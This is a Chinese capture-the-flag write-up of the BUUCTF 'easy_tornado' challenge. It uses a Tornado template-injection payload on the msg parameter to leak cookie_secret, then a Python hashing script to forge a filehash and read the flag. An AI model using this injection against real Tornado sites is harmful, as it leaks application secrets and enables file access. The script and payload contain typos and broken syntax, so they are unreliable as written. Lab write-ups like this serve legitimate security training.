• BUUCTF-[护网杯 2018]easy_tornado 1


    时隔多天,刷了一些web题之后,再回来看着到easy_tornado 1这道题,刚开始也是惧怕用代码跑flag吧。下面我们回归正题

    首先,打开题目里面有三个链接

     里面得代码也给贴上吧

    /flag.txt
    flag in /fllllllllllllag
    
    
    /welcome.txt
    render
    
    
    /hints.txt
    md5(cookie_secret+md5(filename))
    

      简单看了下这些东西,发现flag在/fllllllllllllag这个文件里面,后面有个render发现这提示我们是一个模板注入,然后需要拼接cookie_secret+md5(filename))并将其转成md5值

    百度了render可知,render是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。

    然后拼接url才能获得flag

    到这里,我们首要任务时找到这个cookie_secret值,那我们怎么找呢?

    存在msg参数,百度之后发现师傅们可以进行模块注入。尝试了error?msg={{1}},发现的确存在模块注入。然后我们尝试用+-*/发现都报错,应该是被过滤了。

    而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类

    RequestHandler.settings又指向self.application.settings

    所以我们可以说handler.settings指向了RequestHandler.settings了,对吧

    这样我们就可以构造一下payload:?msg{handler.settings}

    于是获得cookie_secret:

     得到cookie_secret下一步就轻松多了,于是我们写个exp跑一下

    import hashlib
    cookie='0ff0d682-6a1e-4f11-bf15-7523afa0cd73'
    file_filename='/fllllllllllllag'
    md5_filename=hashlib.md5(filename.encode(encoding='UTF-8)).hexdigest()
    word=cookie+md5_filename
    flag=hashlib.md5(word.encode(encoding='UTF-8)).hexdigest()
    print(flag)
    

      于是得到filename得hash值28102f0eea51aff93634e7fcd8982610

    然后拼接url :http://efde2a0f-b219-4791-b407-c83437ac20ce.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=28102f0eea51aff93634e7fcd8982610就得到了flag

    flag{8b7b6c91-b690-40f4-bf47-52d22bfcb506}

  • 相关阅读:
    hdu 1520(简单树形dp)
    hdu 1561(树形dp)
    hdu 2809(状压dp)
    hdu 2196(求树上每个节点到树上其他节点的最远距离)
    hdu 4003(树形dp)
    hdu 3899(树形dp)
    hdu 4714(树形dp)
    hdu 3905(dp)
    Linux mariadb(Mysql)的主从复制架构
    面向对象静态变量代码题
  • 原文地址:https://www.cnblogs.com/junlebao/p/13819357.html
Copyright © 2020-2023  润新知